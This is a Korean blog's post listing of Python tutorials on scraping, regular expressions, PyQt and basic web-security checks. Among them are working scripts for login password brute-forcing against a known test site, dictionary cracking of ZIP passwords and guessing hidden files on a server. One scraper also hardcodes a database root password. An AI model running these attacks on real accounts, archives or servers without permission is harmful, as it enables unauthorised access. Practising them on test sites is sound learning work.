레이블이 Programming인 게시물을 표시합니다. 모든 게시물 표시
레이블이 Programming인 게시물을 표시합니다. 모든 게시물 표시

2019. 9. 29.

[python] 위키피디아 데이터 수집 후 DB에 저장

위키피디아 데이터 수집 후 DB에 저장하는 파이썬 코드

from urllib.request import urlopen
from bs4 import BeautifulSoup
import re
import datetime
import random
import pymysql

conn = pymysql.connect(host='127.0.0.1',user='root',passwd='2kdskfk1!@', db='scraping', charset='utf8')

cur = conn.cursor()
cur.execute("USE scraping")
random.seed(datetime.datetime.now())

def store(title, content):
cur.execute(
"INSERT INTO pages (title, content) VALUES (\"%s\", \"%s\")", (title, content)
)
cur.connection.commit()

def getLinks(articleUrl):
html = urlopen("http://en.wikipedia.org"+articleUrl)
bsObj = BeautifulSoup(html, "html.parser")
title = bsObj.find("h1").get_text()
content = bsObj.find("div", {"id":"mw-content-text"}).find("p").get_text()
store(title, content)
return bsObj.find("div", {"id":"bodyContent"}).findAll("a", href=re.compile("^(/wiki/)((?!:).)*$"))

links = getLinks('/wiki/Kevin_Bacon')
try :
while len(links) > 0:
newArticle = links[random.randint(0, len(links)-1)].attrs["href"]
print(newArticle)
links = getLinks(newArticle)
finally:
cur.close()
conn.close()

기본적인 테스트기 때문에 불필요한 값들이 많이 들어가있는 것을 볼 수 있다.


Continue reading

2018. 7. 13.

[파이썬] 정규표현식 익히기

1. 정규표현식
정규표현식은 특정한 규칙을 가진 문자열의 패턴을 표현하는 데 사용하는 표현식(Expression)으로 텍스트에서 특정 문자열을 검색하거나 치환할 때 사용된다. 정규표현식의 사용범위는 무궁무진한다. 예를 들어, 웹 페이지에서 전화번호나 이메일 주소를 발췌한다거나 로그파일에서 특정 에러페에지가 들어간 라인들을 찾을 때 정규 표현식을 사용하면 쉽게 구현 할 수 있다.

2. 정규표현식 사용 

1) 문자열 검색하기 
먼저 파이썬에서 정규표현식을 사용하기 위해서는 re 모듈을 사용한다.

re 모듈의 compile 함수는 정규식 패턴을 입력으로 받아들여 정규식 객체를 리턴하는데, 즉 re.compile(검색할문자열)과 같이 함수를 호출하면 정규식 객체(re.RegexObject 클래스 객체)를 리턴하게 된다.
re.RegexObject 클래스는 여러 메서드들을 가지고 있는데, 이중 여기서는 특정 문자열을 검색하여 처음 맞는 문자열을 리턴하는 search() 메서드를 사용해 본다. 이 search()는 처음 매칭되는 문자열만 리턴하는데, 매칭되는 모든 경우를 리턴하려면 findall()을 사용한다. search()는 검색 대상이 있으면 결과를 갖는 MatchObject 객체를 리턴하고, 맞는 문자열이 없으면 None 을 리턴한다.



2) 전화번호 발췌하기
전화번호의 패턴은 032-232-3245 와 같이 3자리-3자리-4자리로 구성되어 있다고 가정하자. 정규표현식에서 숫자를 의미하는 기호로 \d를 사용한다. 여기서 d는 digit 을 의미하고 0~9 까지의 아무 숫자나 될 수 있다. 따라서 위 전화번호 패턴을 정규식으로 표현하면 \d\d\d-\d\d\d-\d\d\d\d 와 같이 될 수 있다. 아래는 이러한 패턴을 사용하여 전화번호를 발췌하는 예이다.



3) 에러 코드 발췌하기



findall 함수를 사용하여 모든 에러코드 검색하였다.

  • \s는 화이트 스페이스를 의미한다. ( \t\n\r\f ) 와 동일하다. 

3. 정규식 그룹(Group)

정규 표현식에서 () 괄호는 그룹을 의미한다. 예를 들어, 전화번호의 패턴을 \d(3)-\d(3)-\d(4) 와 같이 표현했을 때, 지역번호 3자를 그룹1으로 하고 나머지 7자리를 그룹2로 분리하고 싶을 때, (\d{3})-(\d{3}-\d{4}) 와 둥근 괄호로 묶어 두 그룹으로 분리할 수 있다.
이렇게 분리된 그룹들은 첫번째 그룹은 group(1), 두번째 그룹은 group(2) 와 같이 사용한다. 그리고 전체 전화번호를 가져올 때는 group() 혹은 group(0) 을 사용한다.


# 참조

  • http://pythonstudy.xyz/python/article/401-%EC%A0%95%EA%B7%9C-%ED%91%9C%ED%98%84%EC%8B%9D-Regex

Continue reading

[웹 취약점] retire.js 사용법 및 기타 자료

# Retire.js 

Retire.js 는 javascript library의 취약점을 찾아주는 JS Library 이자 , Node.js app 이다. 대체로 chrome 브라우저의 extension 으로 사용하거나 Burp 의 extension 이나 OWASP ZAP의 plugin 형태로 많이 사용된다.

https://github.com/retirejs/retire.js/

Retire.js 를 이용한 취약점 분석
크롬에서 retire.js extension을 설치하고 타겟 사이트에 접속하게 되면, 아래와 같이 스캔 결과가 리포트된다. 즉, load 되는 js 버전을 분석 후 공개된 취약점이 있는 버전 사용 시 유저에게 노티만 해준다. 


js 파일 상에 취약점이 있다는 것이다. 다만 실제로 영향력이 있으려면 트리거가 있어야 할 것이다.

위에 보이는 것과 같이 angularJS 취약점이 많이 나왔다. 우선 AngulaJS에 대해 간단히 알아보자.



참고
  • http://www.hahwul.com/2017/09/web-hacking-retirejs-js-library.html
  • http://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html
  • angular 1.5.9 페이로드 있는 곳 ( http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html )
  • https://www.youtube.com/watch?v=JFIGpRh76XY

Continue reading

javascript 변수선언 var 와 $ 의 차이점



<div class="event_btn">
<a href="javascript:;" id="event1JoinBtn" title="이벤트1 참여하기"><img src="images/gc_event01_btn01.png" alt="이벤트1 참여하기" class="wfull"></a>
</div>





$("#event1JoinBtn").click(function(){
if(selectCard1 != 'k' || selectCard2 != 't' || selectCard3 != 'c' || selectCard4 != 'o' || selectCard5 != 'm') {
alert('워드블록으로 주소를 완성하고 이벤트에 참여해 주세요.');
return;
}
eventNum = 1;
viewPopup('popup01');
initPopup1();
});




function viewPopup(sGetName){
var layer = $("#"+ sGetName);
var nowTop = $(window).scrollTop();
var calTop = nowTop-(layer.height()/3);
if(nowTop == 0) calTop = 200;
calTop = $(window).scrollTop();

$(layer).addClass("on");
$(layer).css({"top":calTop+50});
$(".dimm").addClass("on");
}




function initPopup1() {
$("#username01").val('');
$("#tel01").val('');
$("#chk_agree01").prop("checked", false);
$("#chk_agree02").prop("checked", false);




Continue reading

[파이썬] BeautifulSoup 으로 네이버 실시간 검색어 긁어오기

1. 개요
게시판이나 웹 페이지에 있는 데이터를 긁어 오기 위해 사용 할 수 있는 라이브러리에서 최선의 선택은 BeautifulSoup 이다.

** 파이선 버전 3.6 에서는 BeautifulSoup4 를 인스톨해야 된다. 


'''
# 웹 크롤링
- 웹 그롤링을 하려면 HTML과 CSS에 대한 지식이 동반되어야 한다.
- CSS 셀렉터, 자바스크립트 DOM의 이해가 필요하다.
- CSS DOM 셀렉터, jQuery DOM 셀렉터
    클래스 선택자 : 점(.)으로 시작  .class_name
    아이디 선택자 : 샵(#)으로 시작  #id_name
    속성 선택자 : 대괄호([])를 이용  img[title=aaaa]
- 정규표현식 import re 임포트 가능하다.
'''

import requests
from bs4 import BeautifulSoup

# requst.get()을 이용해서  response 객체를 얻어온다.
# 요청 : request
# 응답 : response

response = requests.get("https://www.naver.com/")
assert response.status_code is 200

#print(response.content)
# response에 받아온 정보의 내용을
# BeautifulSoup를 이용해서 DOM으,로 변환다. (DOM = HTML 형식)
# 다시 말해서 BeautifulSoup 객체가 DOM인 것이다.

dom = BeautifulSoup(response.content, "html.parser")
#print(dom)
#DOM 형식으로 변환 - 실제 HTML 문서 형식처럼 바뀐다.
#print((dom.select('span'))[2].text)

search_list = dom.select("div.ah_list span.ah_k")
#print(search_list)
for element in search_list:
    print(element.text)


이처럼 실시간 순위가 리스팅 된다.



소스 보기로 보면 <div class="ah_list 밑에 있는 부분의 <span class="ah_k" 으로 지정된 것을 확인할 수 있다.




Continue reading

2018. 2. 22.

[파이썬] 파일 및 디렉토리 추측 가능

1. 개요
웹 페이지 상에 .zip 파일이나 .bak 파일 등을 발견함으로써 중요정보를 얻을 수 있다. dictionary 공격과 유사한 방법으로 소스코드를 구현해보았다.


import requests
import re

url = raw_input("Target URL : ") #url = 'http://httpbin.org'

f = open('wordlist.txt','r')

while True:
    line = f.readline()
    if len(line) == 0:
        break

    r = requests.get(url+'/'+line)
    print url+'/'+line,':',r

f.closed

2. 실행 결과



Continue reading

[파이썬] 웹페이지 소스에서 주민등록번호 검출하기

1. 개요
웹 페이지 소스코드에서 정규표현식으로 주민등록번호를 검출하는 소스코드

# -*- coding:utf-8 -*-
import requests
import re

#url = raw_input("Target URL : ") #url = 'http://httpbin.org/get'
url = 'https://ko.wikipedia.org/wiki/%EC%A3%BC%EB%AF%BC%EB%93%B1%EB%A1%9D%EB%B2%88%ED%98%B8'
r = requests.get(url)
#print r.text
text=r.text
print type(text)


s = u"발견된 주민등록번호"
s2=s.encode('cp949')
#regex1=re.compile('\d\d\d-\d\d\d-\d\d\d\d')  # 휴대폰번호 (ex, 010-1234-1234)
regex2=re.compile('\d\d\d\d\d\d-\d\d\d\d\d\d')  # 주민등록번호 (ex, 703021-1662912)
#regex2=re.compile('\d\d\d\d\d\d')  # 주민등록번호 (ex, 703021-1662912)
#mo1=regex1.search(text)
#if mo1 != None:
#    print(mo1.group())

mo2=regex2.search(text)
if mo2 != None:
    print(s,mo2.group())


* \d{6}-\d{7} 와 \d{13} 를 사용함으로서 보다 간결한 정규표현식이 될 수도 있다.

2. 실행 결과


Continue reading

[파이썬] 불필요한 HTTP Method 설정 여부 확인하기

1. 개요
GET, POST 외에 불필요한 메소드를 설정하면, 웹 페이지가 변조/삭제 될 수 있는 위험이 있다. 이번 코드는 서버에서 전달된 Response 헤더 값에서 메소드 정보 값만 추출하는 파이썬 코드를 작성 해보았다.

import requests
import re

url = raw_input("Target URL : ") #url = 'http://httpbin.org/get'

r = requests.options(url)
print r.headers
text=str(r.headers)

regex=re.compile("'Access-Control-Allow-Methods[\'\:\s]+[,A-Z\s]+'")
mo=regex.search(text)
if mo != None:
    print(mo.group())

* 주의 : 위의 text=str(r.headers) 부분이 있는데 여기서 str로 문자열로 변환하지 않으면 딕셔너리 타입에 적용하려고 하다보니 에러가 난다.

2. 실행 결과


Continue reading

[파이썬] 서버 정보 노출 여부 확인하기

1. 개요

프록시 툴이나 개발자 도구를 사용해서 response 헤더값에 포함되는 서버 정보를 확인 할 수도 있지만 파이썬으로 구현을 해보았다.


import requests
import re

url = raw_input("Target URL : ") #url = 'http://httpbin.org/get'

r = requests.get(url)
text= str(r.headers)

regex=re.compile("'Server[\'\:\s]+[\/a-z0-9\.]+'")
mo=regex.search(text)
if mo != None:
    print(mo.group())
2. 실행 결과


Continue reading

2018. 2. 9.

[파이썬] 패스워드 무차별 공격(brute force)

** 본 코드는 파이썬 2.7 버전에서 유효하다. 3.x 부터는 다르게 적용해야 함

■ 코드 개요
사이트의를 해킹하기 위해 ADMIN이라는 계정을 해킹하려고 한다. ADMIN 계정은 존재한다는 것을 확인했고, 그 이후엔 패스워드를 알아내야 하는데.. 가장 간단한(?)방법은 무차별 대응 공격이다.


# -*- coding=utf_8 -*-
import urllib
import urllib2

url = "http://testphp.vulnweb.com/userinfo.php"
user_login = "test" # 사용자 아이디(python), 알고 있다는 전제

wordlist = open('wordlist.txt','r')
passwords = wordlist.readlines()

for password in passwords:
    password = password.strip() # 문자열 양 끝의 공백을 모두 지운다

    values = {'uname': user_login, 'pass': password}  # 파라미터명과 값은 실제 넘어가는 값과 동일해야한다.

    data = urllib.urlencode(values) # post 데이터 형태로 변환

    print data # 중간 데이터를 확인하기 위함이므로 있어도 그만 없어도 그만

    request = urllib2.Request(url, data)
    response = urllib2.urlopen(request)

    print response.geturl() # 중간 데이터를 확인하기 위함이므로 있어도 그만 없어도 그만

    try:
        idx = response.geturl().index('userinfo.php') # 정상적으로 로그인되었으면 관리자 페이지로(userinfo.php) 넘어간다. 따라서 반환 url에 관리자 화면의 url 주소(userinfo.php)이 포함되어 있는지 화인한다.
        
    except:
        idx = 0

    if (idx > 0):
        print "##################success############### ["+password+"]"
        break
    else:
        print "##################fail#################["+password+"]"

wordlist.close()


■ 코드 설명
acunetix 웹 취약점 스캐너를 테스트하는 사이트가 있다. (http://testphp.vulnweb.com/index.php) 보통 취약점 점검 모의해킹 사이트로 이용한다.
본 코드는 이 사이트의 아이디를 알고 있고 패스워드를 알아내기 위해서 코딩하였다.

Step 1)


사이트에서 로그인 정보를 입력하고 '로그인' 버튼을 누르면 위와 같이 request 데이터가 생성된다.

Step 2) 이를 통해 post로 로그인정보가 넘어간다는 것과 파라미터명을 확인 할 수 있다.

Step 3) 실제로 몇번 로그인 해보면 알겠지만, 로그인 정보가 틀리면 /login.php 로 리다이렉션 된다는 것을알 수 있다.

Step 4) 스크립트 실행 결과, 패스워드(test) 를 올바르게 찾는다는 걸 확인 할 수 있다.



Continue reading

2018. 2. 6.

[파이썬] 파이썬으로 웹사이트 로그인하기

■ 코드 개요
로그인 후에 데이터를 수집하거나 점검할때 초기에 로그인을 진행하기 위한 코드

import urllib
import urllib2

url = "http://test.com/login.php"

values = {'log': 'python', 'pwd': 'python1'}
headers = {'User-Agent':'Mozilla/4.0(compatible;Mise 5.5; Windows NT'}
data = urllib.urlencode(values)

request = urllib2.Request(url,data,headers)
response = urllib2.urlopen(request)

print "\URL:%s" % response.geturl()
print "#CODE : %s" % response.getcode()
print "#INFO : %s" %response.info()
print "#DATA : %s" %response.read()

** 아직 업데이트가 필요함

Continue reading

[파이썬] 파이썬으로 zip 압축 암호 찾아내기

■ 코드 개요
zip 형태로 된 압축파일의 암호를 사전공격을 기반으로 해서 패스워드를 알아 낼 수 있다.

# -*- coding:utf-8 -*-
import zipfile  # zip 으로 압축된 파일 객체를 생성 할 수 있다.
from threading import Thread # 스레드 기법을 통해 빠른 프로세스 처리를 도와준다.
import optparse # 사용자 입력값을 파싱 처리한 후, 미리 정의해둔 정의에 따라 해당 내용을 처리할 수 있게 해준다.

def Extract_File(zFile, password): # 압축 파일을 불러온 후 비밀번호를 대입하여 해제하는 영역
# zFile 은 실제 압축 파일 객체를 가리키고 있으며, Password 는 딕셔너리 파일에서 읽어들인 단어가 들어가게 될 것이다.
    try:
        zFile.extractall(pwd=password)
        print ("Found Password is ............ "+password+"\n"  )

    except Exception, e:
        pass

def main():

    parser = optparse.OptionParser(usage="%prog " + "-f  -d ") # parser 변수를 통해 optparse 라이브러리를 객체화 시킨 후, 사용자 기본 Usage 메시지를 입력한다. python test.py -f Test.zip -d dictionary.txt
    parser.add_option("-f", dest="zname", type="string", help="Specify Zip File")
    parser.add_option("-d", dest="dname", type="string", help="Specify Dictionary Name")
    (options, args) = parser.parse_args() # 튜플 형의 변수에 parse_args() 메서드를 호출하면 options 과 args 가 분리되어 저장되게 된다.
    if (options.zname == None) | (options.dname == None) :
        print parser.usage
        exit(0)
    else:
        zname = options.zname
        dname = options.dname

# Main Function Area - zFile

    zFile = zipfile.ZipFile(zname) # zFile 변수는 zipFile 모듈을 통해 (zname - optparser 를 통해 입력받은 )압축 파일명을 불러들인다.
    passfile = open(dname,"r")

    print ("Extraction Start ------------ \n")

    for line in passfile.readlines(): # for 문을 통해 딕셔너리 파일을 한 라인씩 읽으면서 extract_file 함수를 호출한다.
        password = line.strip("\n")
        t = Thread(target=Extract_File, args=(zFile, password))
        t.start()

if __name__ == '__main__' :
    main ()

■ 실행 결과


Continue reading

2017. 9. 27.

[파이썬] readline() 과 readlines() 차이

readline() : 한줄씩 읽고 반환한다
readlines() : 파일에 있는 모든 문자열 리스트를 반환한다.

text.txt 라는 파일에 다음과 같이 기록되어 있다고 가정해보자.
hi
nice to meet you
thanks 

그리고 다음의 각각 1,2 상황일 어떤 출력값이 나올까.
file= open('test.txt',"r")
print file.readline()

1. 출력값 : hi

print file.readline()

2. 출력값 : ['hi\n', 'nice to meet you\n', 'thanks']

Continue reading

2017. 9. 19.

2017. 9. 15.

2017. 9. 14.

[PYTHON] httplib 모듈에서 request와 putrequest 의 차이

파이썬에서 웹 통신을 할때, 사용하는 라이브러리 중 httplib 가 있다. 가장 기본적인 코드는 아래와 같을 것이다.

import httplib

conn=httplib.HTTPConnection("httpbin.org/") # Do not use "http://"
conn.request("GET","/get")
r1 =conn.getresponse()
print r1.status
print r1.reason
print r1.read()

그리고 평소 궁금했었는데 해결된 궁금증이 있다. "putrequest와 request 변수의 차이점"이 바로 그것이다.

해결 :  request 함수는 변수의 인자로 헤더값을 넣을 수 있다. 때문에 헤더값을 따로 넣지않더라도 end of header를 알리기 위해서 공백라인을 서버에 전달한다.
반면 putrequest 함수는 인자로 헤더값을 넣을 수 없다. putheader 함수로 별도로 넣어줘야 한다. putrequest 를 사용했는데 putheader를 사용안하면 에러가 발생한다.

글로 표현하니까 조금 어렵게 들린다. 

위 처럼 헤더값 입력 없이 /get 메소드만 요청할 때는 request 를 사용하고 


위 처럼 header 한 라인씩 입력할 때는 putrequest 를 입력하고 putheader 로 헤더값을 삽입한다.

보통 파라미터나 헤더값을 입력 할 때는 사전(Dictionary)을 이용하는 것 같다.

import httplib, urllib
params = urllib.urlencode({'spam': 1, 'eggs':2, 'bacon':0})
headers={"Content-type":"application/x-www-form-urlencoded","Accept":"text/plain"}
conn=httplib.HTTPconnection("www.site.com")
conn.request("POST","/cgi-bin/query", params, headers)
response = conn.getresponse()



Continue reading

2017. 9. 7.

[파이썬] 파이썬 UI 프로그래밍, PyQt

파이썬으로 개발하고 PyQt으로 GUI를 씌울수 있다.

파이썬과 사용 가능한 GUI 개발 툴킷은 다음이 있을 수 있다. 그래도 PyQt 가 제일 좋은 것 같다.
  • Tkinter : TK를 기반으로 하는 파이썬 표준 라이브러리. 사용법은 간단하지만 제약이 있다.
  • PyQt : 유명한 Qt 프레임워크를 파이썬에서 사용할 수 있도록 리버뱅크란 곳에서 바인딩한 것. 오픈소스로서 개인적 사용은 무료이며, 풍부한 기능에 깔끔한 윈도우를 만들 수 있다고 한다. 
  • wxPython : 오픈소스인 wxWidget 을 파이썬 용으로 바인딩한 것으로 완전 무료이며 PyQt 처럼 크로스 플랫폼 툴킷이다. C++ 로 작성되어 Tkinter 보다 빠르고 풍부한 기능을 제공하지만 파이썬 2.7까지만 지원한다.
  • PySide, PyGTK 등등.. 
<출처 - https://wikidocs.net/8170>

PyQt에 대해 간단히 검색해봤는데 정보도 굉장히 많아 보인다. 몇 가지 만들어서 업무에 활용하면 굉장히 재미있을 듯!

import sys
from PyQt5.QtWidgets import QMainWindow, QPushButton, QMessageBox, QApplication


class MyWindow(QMainWindow):
    def __init__(self):
        super().__init__()

        button = QPushButton('Btn', self)
        button.move(10,10)
        button.clicked.connect(self.message)
        self.show()

    def message(self):
        msg = QMessageBox(self)
        msg.setText("Ok! Clicked!")
        msg.show()

if __name__ == '__main__':
    app = QApplication(sys.argv)
    ex = MyWindow()
    sys.exit(app.exec())

pyQt5 는 위와 같은 코드로 구분되고 실행하면 아래처럼 윈도우 창이 열리는 것을 확인 할수 있다.


# 참고
  • https://www.slideshare.net/ravenkyu/pycon-2015-pyqt
  • https://opentutorials.org/module/544/4998

Continue reading

파이썬 공부 정보 모음 (저서 포함)

인터넷에는 파이썬에 관련한 자료와 심지어 도서까지 무궁무진하다! 너무너무 행복하다. : )
좋은 자료를 기록해놓고 시간 날 때마다 살펴봐야겠다.

파이썬을 여행하는 히치하이커를 위한 안내서
  • http://python-guide-kr.readthedocs.io/ko/latest/index.html
'해커랭크' 라는 사이트에서 주어지는 파이썬 문제 풀기

  • https://www.hackerrank.com/domains/python/py-introduction
파이썬을 배우는 최고의 방법, 아티클
  • https://nolboo.kim/blog/2014/08/10/the-best-way-to-learn-python/

Continue reading

2017. 8. 24.

[스크랩] 파이썬 최고의 기본서 - A Byte of Python

파이썬 최고의 기본서라고 정평이 되어있는 책, 게다가 무료이다


# 파이썬을 처음 시작하는 개발자를 위한 링크 및 자료 공유

  • https://www.gitbook.com/book/swaroopch/byte-of-python/details


# 번역된 A Byte of Python

  • http://byteofpython-korean.sourceforge.net/byte_of_python.html

원서도 구글링하면 쉽게 찾을 수 있다. 원본하고 번역본을 번갈아보면 좋을듯하다. 

Continue reading

2017. 5. 18.

Popular Posts

Recent Posts

Powered by Blogger.